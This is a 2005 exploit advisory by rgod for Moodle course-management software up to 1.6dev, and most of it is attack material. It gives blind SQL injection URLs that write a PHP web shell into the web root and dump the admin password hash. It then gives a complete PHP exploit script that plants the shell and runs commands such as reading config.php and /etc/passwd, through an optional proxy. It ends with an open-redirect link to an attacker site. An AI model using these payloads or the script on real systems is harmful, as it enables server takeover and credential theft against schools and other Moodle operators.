what you don't know can hurt you

moodle16dev.txt

moodle16dev.txt
Posted Nov 12, 2005
Authored by rgod | Site retrogod.altervista.org

Moodle versions 1.6dev and below suffer from blind SQL injection, remote command execution, and cross site scripting flaws. Exploitation details provided.

tags | exploit, remote, xss, sql injection
MD5 | ea87ac16f14f20aaa2e75d08a6957896

moodle16dev.txt

Change Mirror Download
5.02 10/11/2005
Moodle <=1.6dev blind SQL Injection / Remote commands/code execution / xss


software:
site: http://moodle.org/
description: "Moodle is a course management system (CMS) - a free, Open Source software package
designed using sound pedagogical principles, to help educators create effective online learning
communities.[..]"


I)

tested:
vulnerable versions: Moodle 1.5.2 ( Latest release /released on 16th July 2005)
" 1.5.2 ( Latest stable branch /built daily)
not vulnerable: Moodle 1.6dev ( Latest Development /built daily)

vulnerable code:
"get_record()" function in datalib.php, if a var is not
properly sanitized before to be passed as argument to it,
if magic_quotes_gpc off, we have SQL injection,poc:

[1] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%200,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course_categories/*
[2] http://[target]/[path]/course/info.php?id='UNION%20SELECT%200,0,0,0,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course/*


now in shell.php we have something like:

00000<?php system($_GET[cmd]); ?>000000


so you can launch commands, ex.:

http://[target]/[path]/shell.php?cmd=cat%20config.php


or you can have any admin/user MD5 password hash, poc:

[3] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%20'',password,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password.txt'%20FROM%20mdl_user%20WHERE%20username='admin'/*

then go to:

http://[target]/[path]/password.txt



II)

tested:
vulnerable: Moodle 1.6dev ( Latest Development /built daily)

if magic_quotes_gpc is off, you can see at screen any user/admin MD5 password hash, poc:
http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='or%20isnull(1/0)/*

...and inject a shell:
http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'<?php%20system($_GET[cmd]);%20?>%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/*




this is the exploit code for [I.1], [I.2] and [III]:


<?php
# moodle16dev_xpl.php 4.19 10/11/2005 #
# #
# Moodle <= 1.6dev get record() SQL injection / #
# / remote commands execution #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu:"If your opponent is of choleric temper, seek to irritate him. #
# Pretend to be weak, that he may grow arrogant." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Moodle 1.6dev SQL Injection /remote cmmnds xctn</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">
Moodle <= 1.6dev remote commands xcution </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /moodle/ or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" > <span
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command ,
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat
config.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>&nbsp;&nbsp;</td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>&nbsp&nbsp</td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else //fixed some errors in this function
{ if ($proxy=='')
{
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
$result = socket_connect($socket, $host, $port);
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';die;}
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen($host,$port);
if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;}
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...'; die;}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
else {echo "Exploit failed...";}
}


if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";

$SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."iplookup/ipatlas/plot.php?address=127.0.0.1&user=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>



III) you can craft a malicious url to redirect a user to an arbitrary location:

http://[target]/[path]/course/jumpto.php?jump=http://www.evilsite.com



rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/moodle16dev.html


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